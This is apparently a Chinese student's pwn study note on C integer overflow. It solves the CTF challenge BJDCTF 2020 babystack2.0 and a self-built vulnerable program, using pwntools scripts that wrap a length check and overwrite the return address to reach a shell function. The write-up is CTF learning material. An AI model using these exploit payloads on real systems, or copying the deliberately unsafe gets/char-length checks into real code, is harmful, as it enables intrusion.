今天是学pwn的第四天,去接触了pwn的整数溢出。
目录
基础
实例讲解
实例讲解2
基础
关于整数溢出,这里以int为例,因为我php之前搞的比较多,以为这个int也是想php一样是64,最大值是9开头的那个,闹了不少笑话,这里我们要知道c中的int是4个字节一位的,按位就是32位的,所以他的最大值就是2开头的那一个。
范围就是-2147483648~2147483647之间
//测试代码
#include <stdio.h>
int main() {
int b = 1;
scanf("%d", &b);
printf("数字 = %d", b);
return 0;
}
这里我们可以看到它超过界限就会变成负数,其实就是从原码变成补码,可以理解为环绕。
在比如一个char的值是0~255,但是传入256就是1
实例讲解
NSSCTF中的题目,先把东西下载过来分析分析。
[BJDCTF 2020]babystack2.0
分析下面看似没有问题,对我们传入的值做了判断不能大于10,然后然后buf的值是12,看似是不可能产生溢出的,但是我们是可以传入任意值,所以我们只要传入一个大于的值就可以绕过了,下面去本地调试一下。
对了这里先记住这里变量距离rbp 0x10加上rbp 8个,那么便宜量就是24.
这里看到输入一个大于10的值就会退出。
但是这里我们输入一个大于范围的值,他就直接绕过去了,然后下面顺便测试一下偏移量是不是正确的。
from pwn import *
#context.log_level = 'debug'
# p = process('./pwn')
p = remote("1.14.71.254",28184)
inttext = 2147483648
offset = 0x10 + 8
sh = 0x0000000000400726
ret = 0x0000000000400827
payload = b'a'*offset + p64(ret)+p64(sh)
p.sendlineafter('name:\n',str(inttext))
p.sendlineafter('name?\n',payload)
p.interactive()
实例讲解2
根据上面的学习,我还是其实还是提到char这个数据类型,这里我们可以本地搞一个。
下面这串代码main中看似有保障,但是对s的长度进行了限制,但是别玩了,溢出之后会环绕,我们只要输入259~261个值,就可以绕过了。
说实在这个代码改了好几遍,自己就是人菜瘾大,因为最近没什么时间也是没有去学c++,但是有java和php的基础在写起来还是不怎么困难的,但是中间遇到过好几次问题,首先就是gets就可以溢出,但是那时候的我没有注意到,后面都想着怎么改,便用到了gets_s这个函数来限制长度,但是又出问题,那就是ubuntu不认识这个函数,淦,所以就想着用exe来搞,但是会报错,终于用了下面这种方法,果然蠢方法最好用了。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void exp() {
system("/bin/sh");
}
int main() {
char s[100];
char a[400];
gets(a);
if (strlen(a)>399) {
puts("不能输这么多值");
exit(-1);
}
char lentext = strlen(a);
if (lentext < 3 || lentext > 6) {
puts("sort long sort long");
exit(-1);
}
puts("你现在可以读取了!");
read(0, s, strlen(a));
return 0;
}
gcc -z execstack -no-pie -z norelro -fno-stack-protector 06.c -o 6
这里给他编译一下,然后我们用ida测试一下。
这里首先要知道的是buf距离rbp是0x70,既然我们想让他溢出就需要让v3大于0x70
这里在测试一下,259那么lentext的长度其实就是4,可以绕过了,经过上面ida分析,我们就是知道成员变量s到rbp的值是0x70+8=120,这里测试一下可以溢出,然后119就没有溢出了。
这里既然都明白了,就可以去写payload了。
from pwn import *
p = process("./6")
# char溢出用的0xFF是255
off = 0xFF +4
# 这里是栈溢出
offset = 0x70 + 8
# exp方法的地址
sh = 0x00000000004011D6
# 这里是return的地址
ret = 0x00000000004012AB
# 先用溢出绕过判断
p.sendline(b'a'*off)
# 这里就是底下的整数溢出
payload = b"a"*offset + p64(ret) + p64(sh)
p.sendafter("!\n",payload)
p.interactive()